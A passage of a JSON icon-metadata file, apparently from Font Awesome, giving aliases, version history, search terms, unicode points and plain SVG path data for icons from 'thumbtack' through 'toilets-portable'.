        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M313.4 32.9c26 5.2 42.9 30.5 37.7 56.5l-2.3 11.4c-5.3 26.7-15.1 52.1-28.8 75.2H464c26.5 0 48 21.5 48 48c0 18.5-10.5 34.6-25.9 42.6C497 275.4 504 288.9 504 304c0 23.4-16.8 42.9-38.9 47.1c4.4 7.3 6.9 15.8 6.9 24.9c0 21.3-13.9 39.4-33.1 45.6c.7 3.3 1.1 6.8 1.1 10.4c0 26.5-21.5 48-48 48H294.5c-19 0-37.5-5.6-53.3-16.1l-38.5-25.7C176 420.4 160 390.4 160 358.3V320 272 247.1c0-29.2 13.3-56.7 36-75l7.4-5.9c26.5-21.2 44.6-51 51.2-84.2l2.3-11.4c5.2-26 30.5-42.9 56.5-37.7zM32 192H96c17.7 0 32 14.3 32 32V448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V224c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M313.4 32.9c26 5.2 42.9 30.5 37.7 56.5l-2.3 11.4c-5.3 26.7-15.1 52.1-28.8 75.2H464c26.5 0 48 21.5 48 48c0 18.5-10.5 34.6-25.9 42.6C497 275.4 504 288.9 504 304c0 23.4-16.8 42.9-38.9 47.1c4.4 7.3 6.9 15.8 6.9 24.9c0 21.3-13.9 39.4-33.1 45.6c.7 3.3 1.1 6.8 1.1 10.4c0 26.5-21.5 48-48 48H294.5c-19 0-37.5-5.6-53.3-16.1l-38.5-25.7C176 420.4 160 390.4 160 358.3V320 272 247.1c0-29.2 13.3-56.7 36-75l7.4-5.9c26.5-21.2 44.6-51 51.2-84.2l2.3-11.4c5.2-26 30.5-42.9 56.5-37.7zM32 192H96c17.7 0 32 14.3 32 32V448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V224c0-17.7 14.3-32 32-32z"
      },
      "regular": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M323.8 34.8c-38.2-10.9-78.1 11.2-89 49.4l-5.7 20c-3.7 13-10.4 25-19.5 35l-51.3 56.4c-8.9 9.8-8.2 25 1.6 33.9s25 8.2 33.9-1.6l51.3-56.4c14.1-15.5 24.4-34 30.1-54.1l5.7-20c3.6-12.7 16.9-20.1 29.7-16.5s20.1 16.9 16.5 29.7l-5.7 20c-5.7 19.9-14.7 38.7-26.6 55.5c-5.2 7.3-5.8 16.9-1.7 24.9s12.3 13 21.3 13L448 224c8.8 0 16 7.2 16 16c0 6.8-4.3 12.7-10.4 15c-7.4 2.8-13 9-14.9 16.7s.1 15.8 5.3 21.7c2.5 2.8 4 6.5 4 10.6c0 7.8-5.6 14.3-13 15.7c-8.2 1.6-15.1 7.3-18 15.1s-1.6 16.7 3.6 23.3c2.1 2.7 3.4 6.1 3.4 9.9c0 6.7-4.2 12.6-10.2 14.9c-11.5 4.5-17.7 16.9-14.4 28.8c.4 1.3 .6 2.8 .6 4.3c0 8.8-7.2 16-16 16H286.5c-12.6 0-25-3.7-35.5-10.7l-61.7-41.1c-11-7.4-25.9-4.4-33.3 6.7s-4.4 25.9 6.7 33.3l61.7 41.1c18.4 12.3 40 18.8 62.1 18.8H384c34.7 0 62.9-27.6 64-62c14.6-11.7 24-29.7 24-50c0-4.5-.5-8.8-1.3-13c15.4-11.7 25.3-30.2 25.3-51c0-6.5-1-12.8-2.8-18.7C504.8 273.7 512 257.7 512 240c0-35.3-28.6-64-64-64l-92.3 0c4.7-10.4 8.7-21.2 11.8-32.2l5.7-20c10.9-38.2-11.2-78.1-49.4-89zM32 192c-17.7 0-32 14.3-32 32V448c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M323.8 34.8c-38.2-10.9-78.1 11.2-89 49.4l-5.7 20c-3.7 13-10.4 25-19.5 35l-51.3 56.4c-8.9 9.8-8.2 25 1.6 33.9s25 8.2 33.9-1.6l51.3-56.4c14.1-15.5 24.4-34 30.1-54.1l5.7-20c3.6-12.7 16.9-20.1 29.7-16.5s20.1 16.9 16.5 29.7l-5.7 20c-5.7 19.9-14.7 38.7-26.6 55.5c-5.2 7.3-5.8 16.9-1.7 24.9s12.3 13 21.3 13L448 224c8.8 0 16 7.2 16 16c0 6.8-4.3 12.7-10.4 15c-7.4 2.8-13 9-14.9 16.7s.1 15.8 5.3 21.7c2.5 2.8 4 6.5 4 10.6c0 7.8-5.6 14.3-13 15.7c-8.2 1.6-15.1 7.3-18 15.1s-1.6 16.7 3.6 23.3c2.1 2.7 3.4 6.1 3.4 9.9c0 6.7-4.2 12.6-10.2 14.9c-11.5 4.5-17.7 16.9-14.4 28.8c.4 1.3 .6 2.8 .6 4.3c0 8.8-7.2 16-16 16H286.5c-12.6 0-25-3.7-35.5-10.7l-61.7-41.1c-11-7.4-25.9-4.4-33.3 6.7s-4.4 25.9 6.7 33.3l61.7 41.1c18.4 12.3 40 18.8 62.1 18.8H384c34.7 0 62.9-27.6 64-62c14.6-11.7 24-29.7 24-50c0-4.5-.5-8.8-1.3-13c15.4-11.7 25.3-30.2 25.3-51c0-6.5-1-12.8-2.8-18.7C504.8 273.7 512 257.7 512 240c0-35.3-28.6-64-64-64l-92.3 0c4.7-10.4 8.7-21.2 11.8-32.2l5.7-20c10.9-38.2-11.2-78.1-49.4-89zM32 192c-17.7 0-32 14.3-32 32V448c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32H32z"
      }
    },
    "free": ["regular", "solid"]
  },
  "thumbtack": {
    "aliases": {
      "names": ["thumb-tack"],
      "unicodes": {
        "composite": ["1f4cc", "1f588"],
        "secondary": ["10f08d"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Pushpin",
        "coordinates",
        "location",
        "marker",
        "pin",
        "pushpin",
        "thumb-tack"
      ]
    },
    "styles": ["solid"],
    "unicode": "f08d",
    "label": "Thumbtack",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 32C32 14.3 46.3 0 64 0H320c17.7 0 32 14.3 32 32s-14.3 32-32 32H290.5l11.4 148.2c36.7 19.9 65.7 53.2 79.5 94.7l1 3c3.3 9.8 1.6 20.5-4.4 28.8s-15.7 13.3-26 13.3H32c-10.3 0-19.9-4.9-26-13.3s-7.7-19.1-4.4-28.8l1-3c13.8-41.5 42.8-74.8 79.5-94.7L93.5 64H64C46.3 64 32 49.7 32 32zM160 384h64v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 32C32 14.3 46.3 0 64 0H320c17.7 0 32 14.3 32 32s-14.3 32-32 32H290.5l11.4 148.2c36.7 19.9 65.7 53.2 79.5 94.7l1 3c3.3 9.8 1.6 20.5-4.4 28.8s-15.7 13.3-26 13.3H32c-10.3 0-19.9-4.9-26-13.3s-7.7-19.1-4.4-28.8l1-3c13.8-41.5 42.8-74.8 79.5-94.7L93.5 64H64C46.3 64 32 49.7 32 32zM160 384h64v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384z"
      }
    },
    "free": ["solid"]
  },
  "ticket": {
    "aliases": {
      "unicodes": {
        "composite": ["1f39f"],
        "secondary": ["10f145"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "admission",
        "admission tickets",
        "movie",
        "pass",
        "support",
        "ticket"
      ]
    },
    "styles": ["solid"],
    "unicode": "f145",
    "label": "Ticket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128v64c0 8.8 7.4 15.7 15.7 18.6C34.5 217.1 48 235 48 256s-13.5 38.9-32.3 45.4C7.4 304.3 0 311.2 0 320v64c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V320c0-8.8-7.4-15.7-15.7-18.6C541.5 294.9 528 277 528 256s13.5-38.9 32.3-45.4c8.3-2.9 15.7-9.8 15.7-18.6V128c0-35.3-28.7-64-64-64H64zm64 112l0 160c0 8.8 7.2 16 16 16H432c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16zM96 160c0-17.7 14.3-32 32-32H448c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32V160z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128v64c0 8.8 7.4 15.7 15.7 18.6C34.5 217.1 48 235 48 256s-13.5 38.9-32.3 45.4C7.4 304.3 0 311.2 0 320v64c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V320c0-8.8-7.4-15.7-15.7-18.6C541.5 294.9 528 277 528 256s13.5-38.9 32.3-45.4c8.3-2.9 15.7-9.8 15.7-18.6V128c0-35.3-28.7-64-64-64H64zm64 112l0 160c0 8.8 7.2 16 16 16H432c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16zM96 160c0-17.7 14.3-32 32-32H448c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32V160z"
      }
    },
    "free": ["solid"]
  },
  "ticket-simple": {
    "aliases": {
      "names": ["ticket-alt"],
      "unicodes": {
        "secondary": ["10f3ff"]
      }
    },
    "changes": [
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["movie", "pass", "support", "ticket"]
    },
    "styles": ["solid"],
    "unicode": "f3ff",
    "label": "Ticket Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 128C0 92.7 28.7 64 64 64H512c35.3 0 64 28.7 64 64v64c0 8.8-7.4 15.7-15.7 18.6C541.5 217.1 528 235 528 256s13.5 38.9 32.3 45.4c8.3 2.9 15.7 9.8 15.7 18.6v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V320c0-8.8 7.4-15.7 15.7-18.6C34.5 294.9 48 277 48 256s-13.5-38.9-32.3-45.4C7.4 207.7 0 200.8 0 192V128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 128C0 92.7 28.7 64 64 64H512c35.3 0 64 28.7 64 64v64c0 8.8-7.4 15.7-15.7 18.6C541.5 217.1 528 235 528 256s13.5 38.9 32.3 45.4c8.3 2.9 15.7 9.8 15.7 18.6v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V320c0-8.8 7.4-15.7 15.7-18.6C34.5 294.9 48 277 48 256s-13.5-38.9-32.3-45.4C7.4 207.7 0 200.8 0 192V128z"
      }
    },
    "free": ["solid"]
  },
  "tiktok": {
    "changes": ["5.13.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e07b",
    "label": "TikTok",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z"
      }
    },
    "free": ["brands"]
  },
  "timeline": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chronological", "deadline", "history", "linear"]
    },
    "styles": ["solid"],
    "unicode": "e29c",
    "label": "Timeline",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 72a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm32 97.3c28.3-12.3 48-40.5 48-73.3c0-44.2-35.8-80-80-80S48 51.8 48 96c0 32.8 19.7 61 48 73.3V224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H288v54.7c-28.3 12.3-48 40.5-48 73.3c0 44.2 35.8 80 80 80s80-35.8 80-80c0-32.8-19.7-61-48-73.3V288H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H544V169.3c28.3-12.3 48-40.5 48-73.3c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 32.8 19.7 61 48 73.3V224H160V169.3zM488 96a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM320 392a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M128 72a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm32 97.3c28.3-12.3 48-40.5 48-73.3c0-44.2-35.8-80-80-80S48 51.8 48 96c0 32.8 19.7 61 48 73.3V224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H288v54.7c-28.3 12.3-48 40.5-48 73.3c0 44.2 35.8 80 80 80s80-35.8 80-80c0-32.8-19.7-61-48-73.3V288H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H544V169.3c28.3-12.3 48-40.5 48-73.3c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 32.8 19.7 61 48 73.3V224H160V169.3zM488 96a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM320 392a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "toggle-off": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f204"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["button", "off", "on", "switch"]
    },
    "styles": ["solid"],
    "unicode": "f204",
    "label": "Toggle Off",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 128c70.7 0 128 57.3 128 128s-57.3 128-128 128H192c-70.7 0-128-57.3-128-128s57.3-128 128-128H384zM576 256c0-106-86-192-192-192H192C86 64 0 150 0 256S86 448 192 448H384c106 0 192-86 192-192zM192 352a96 96 0 1 0 0-192 96 96 0 1 0 0 192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384 128c70.7 0 128 57.3 128 128s-57.3 128-128 128H192c-70.7 0-128-57.3-128-128s57.3-128 128-128H384zM576 256c0-106-86-192-192-192H192C86 64 0 150 0 256S86 448 192 448H384c106 0 192-86 192-192zM192 352a96 96 0 1 0 0-192 96 96 0 1 0 0 192z"
      }
    },
    "free": ["solid"]
  },
  "toggle-on": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f205"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["button", "off", "on", "switch"]
    },
    "styles": ["solid"],
    "unicode": "f205",
    "label": "Toggle On",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M192 64C86 64 0 150 0 256S86 448 192 448H384c106 0 192-86 192-192s-86-192-192-192H192zm192 96a96 96 0 1 1 0 192 96 96 0 1 1 0-192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M192 64C86 64 0 150 0 256S86 448 192 448H384c106 0 192-86 192-192s-86-192-192-192H192zm192 96a96 96 0 1 1 0 192 96 96 0 1 1 0-192z"
      }
    },
    "free": ["solid"]
  },
  "toilet": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6bd"],
        "secondary": ["10f7d8"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bathroom",
        "flush",
        "john",
        "loo",
        "pee",
        "plumbing",
        "poop",
        "porcelain",
        "potty",
        "restroom",
        "throne",
        "toile",
        "toilet",
        "washroom",
        "waste",
        "wc"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7d8",
    "label": "Toilet",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M24 0C10.7 0 0 10.7 0 24S10.7 48 24 48h8V196.9c-1.9 1.4-3.8 2.9-5.6 4.4C10.9 214.5 0 232.9 0 256c0 46.9 14.3 84.1 37 112.5c14.2 17.7 31.1 31.3 48.5 41.8L65.6 469.9c-3.3 9.8-1.6 20.5 4.4 28.8s15.7 13.3 26 13.3H352c10.3 0 19.9-4.9 26-13.3s7.7-19.1 4.4-28.8l-19.8-59.5c17.4-10.5 34.3-24.1 48.5-41.8c22.7-28.4 37-65.5 37-112.5c0-23.1-10.9-41.5-26.4-54.6c-1.8-1.5-3.7-3-5.6-4.4V48h8c13.3 0 24-10.7 24-24s-10.7-24-24-24H24zM384 256.3c0 1-.3 2.6-3.8 5.6c-4.8 4.1-14 9-29.3 13.4C320.5 284 276.1 288 224 288s-96.5-4-126.9-12.8c-15.3-4.4-24.5-9.3-29.3-13.4c-3.5-3-3.8-4.6-3.8-5.6l0-.3 0-.1c0-1 0-2.5 3.8-5.8c4.8-4.1 14-9 29.3-13.4C127.5 228 171.9 224 224 224s96.5 4 126.9 12.8c15.3 4.4 24.5 9.3 29.3 13.4c3.8 3.2 3.8 4.8 3.8 5.8l0 .1 0 .3zM328.2 384l-.2 .5 0-.5h.2zM112 64h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M24 0C10.7 0 0 10.7 0 24S10.7 48 24 48h8V196.9c-1.9 1.4-3.8 2.9-5.6 4.4C10.9 214.5 0 232.9 0 256c0 46.9 14.3 84.1 37 112.5c14.2 17.7 31.1 31.3 48.5 41.8L65.6 469.9c-3.3 9.8-1.6 20.5 4.4 28.8s15.7 13.3 26 13.3H352c10.3 0 19.9-4.9 26-13.3s7.7-19.1 4.4-28.8l-19.8-59.5c17.4-10.5 34.3-24.1 48.5-41.8c22.7-28.4 37-65.5 37-112.5c0-23.1-10.9-41.5-26.4-54.6c-1.8-1.5-3.7-3-5.6-4.4V48h8c13.3 0 24-10.7 24-24s-10.7-24-24-24H24zM384 256.3c0 1-.3 2.6-3.8 5.6c-4.8 4.1-14 9-29.3 13.4C320.5 284 276.1 288 224 288s-96.5-4-126.9-12.8c-15.3-4.4-24.5-9.3-29.3-13.4c-3.5-3-3.8-4.6-3.8-5.6l0-.3 0-.1c0-1 0-2.5 3.8-5.8c4.8-4.1 14-9 29.3-13.4C127.5 228 171.9 224 224 224s96.5 4 126.9 12.8c15.3 4.4 24.5 9.3 29.3 13.4c3.8 3.2 3.8 4.8 3.8 5.8l0 .1 0 .3zM328.2 384l-.2 .5 0-.5h.2zM112 64h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "toilet-paper": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9fb"],
        "secondary": ["10f71e"]
      }
    },
    "changes": ["5.4.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bathroom",
        "covid-19",
        "halloween",
        "holiday",
        "lavatory",
        "paper towels",
        "prank",
        "privy",
        "restroom",
        "roll",
        "roll of paper",
        "toilet",
        "toilet paper",
        "wipe"
      ]
    },
    "styles": ["solid"],
    "unicode": "f71e",
    "label": "Toilet Paper",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M444.2 0C397.2 49.6 384 126.5 384 192c0 158.8-27.3 247-42.7 283.9c-10 24-33.2 36.1-55.4 36.1H48c-11.5 0-22.2-6.2-27.8-16.2s-5.6-22.3 .4-32.2c9.8-17.7 15.4-38.2 20.5-57.7C52.3 362.8 64 293.5 64 192C64 86 107 0 160 0H444.2zM512 384c-53 0-96-86-96-192S459 0 512 0s96 86 96 192s-43 192-96 192zm0-128c17.7 0 32-28.7 32-64s-14.3-64-32-64s-32 28.7-32 64s14.3 64 32 64zM144 208a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm64 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm80-16a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M444.2 0C397.2 49.6 384 126.5 384 192c0 158.8-27.3 247-42.7 283.9c-10 24-33.2 36.1-55.4 36.1H48c-11.5 0-22.2-6.2-27.8-16.2s-5.6-22.3 .4-32.2c9.8-17.7 15.4-38.2 20.5-57.7C52.3 362.8 64 293.5 64 192C64 86 107 0 160 0H444.2zM512 384c-53 0-96-86-96-192S459 0 512 0s96 86 96 192s-43 192-96 192zm0-128c17.7 0 32-28.7 32-64s-14.3-64-32-64s-32 28.7-32 64s14.3 64 32 64zM144 208a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm64 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm80-16a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "toilet-paper-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e072"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bathroom",
        "covid-19",
        "halloween",
        "holiday",
        "lavatory",
        "leaves",
        "prank",
        "privy",
        "restroom",
        "roll",
        "toilet",
        "trouble",
        "ut oh",
        "wipe"
      ]
    },
    "styles": ["solid"],
    "unicode": "e072",
    "label": "Toilet Paper Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-109.7-86C569.9 374 608 291.9 608 192C608 86 565 0 512 0s-96 86-96 192c0 49.1 9.2 93.9 24.4 127.9l-59-46.2c1.6-24.8 2.6-52 2.6-81.6c0-65.5 13.2-142.4 60.2-192H160c-24.8 0-47.4 18.8-64.4 49.6L38.8 5.1zM367.3 385.4L66.5 148.4C64.9 162.4 64 177 64 192c0 101.5-11.7 170.8-23 213.9c-5.1 19.4-10.7 39.9-20.5 57.7c-5.9 9.9-6.1 22.1-.4 32.2S36.5 512 48 512H285.9c22.3 0 45.4-12.1 55.4-36.1c7.4-17.7 17.5-47.2 26-90.6zM544 192c0 35.3-14.3 64-32 64s-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-109.7-86C569.9 374 608 291.9 608 192C608 86 565 0 512 0s-96 86-96 192c0 49.1 9.2 93.9 24.4 127.9l-59-46.2c1.6-24.8 2.6-52 2.6-81.6c0-65.5 13.2-142.4 60.2-192H160c-24.8 0-47.4 18.8-64.4 49.6L38.8 5.1zM367.3 385.4L66.5 148.4C64.9 162.4 64 177 64 192c0 101.5-11.7 170.8-23 213.9c-5.1 19.4-10.7 39.9-20.5 57.7c-5.9 9.9-6.1 22.1-.4 32.2S36.5 512 48 512H285.9c22.3 0 45.4-12.1 55.4-36.1c7.4-17.7 17.5-47.2 26-90.6zM544 192c0 35.3-14.3 64-32 64s-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64z"
      }
    },
    "free": ["solid"]
  },
  "toilet-portable": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["outhouse", "toilet"]
    },
    "styles": ["solid"],
    "unicode": "e583",
    "label": "Toilet Portable",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 32V64H320V32c0-17.7-14.3-32-32-32H32C14.3 0 0 14.3 0 32zM24 96H0v24V488c0 13.3 10.7 24 24 24s24-10.7 24-24v-8H272v8c0 13.3 10.7 24 24 24s24-10.7 24-24V120 96H296 24zM256 240v64c0 8.8-7.2 16-16 16s-16-7.2-16-16V240c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 32V64H320V32c0-17.7-14.3-32-32-32H32C14.3 0 0 14.3 0 32zM24 96H0v24V488c0 13.3 10.7 24 24 24s24-10.7 24-24v-8H272v8c0 13.3 10.7 24 24 24s24-10.7 24-24V120 96H296 24zM256 240v64c0 8.8-7.2 16-16 16s-16-7.2-16-16V240c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "toilets-portable": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["outhouse", "toilet"]
    },
    "styles": ["solid"],
    "unicode": "e584",
    "label": "Toilets Portable",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M32 0H224c17.7 0 32 14.3 32 32V64H0V32C0 14.3 14.3 0 32 0zM0 96H24 232h24v24V488c0 13.3-10.7 24-24 24s-24-10.7-24-24v-8H48v8c0 13.3-10.7 24-24 24s-24-10.7-24-24V120 96zM192 224c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V240c0-8.8-7.2-16-16-16zM352 0H544c17.7 0 32 14.3 32 32V64H320V32c0-17.7 14.3-32 32-32zM320 96h24H552h24v24V488c0 13.3-10.7 24-24 24s-24-10.7-24-24v-8H368v8c0 13.3-10.7 24-24 24s-24-10.7-24-24V120 96zM512 224c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V240c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M32 0H224c17.7 0 32 14.3 32 32V64H0V32C0 14.3 14.3 0 32 0zM0 96H24 232h24v24V488c0 13.3-10.7 24-24 24s-24-10.7-24-24v-8H48v8c0 13.3-10.7 24-24 24s-24-10.7-24-24V120 96zM192 224c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V240c0-8.8-7.2-16-16-16zM352 0H544c17.7 0 32 14.3 32 32V64H320V32c0-17.7 14.3-32 32-32zM320 96h24H552h24v24V488c0 13.3-10.7 24-24 24s-24-10.7-24-24v-8H368v8c0 13.3-10.7 24-24 24s-24-10.7-24-24V120 96zM512 224c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V240c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "toolbox": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9f0"],
        "secondary": ["10f552"]
      }
    },
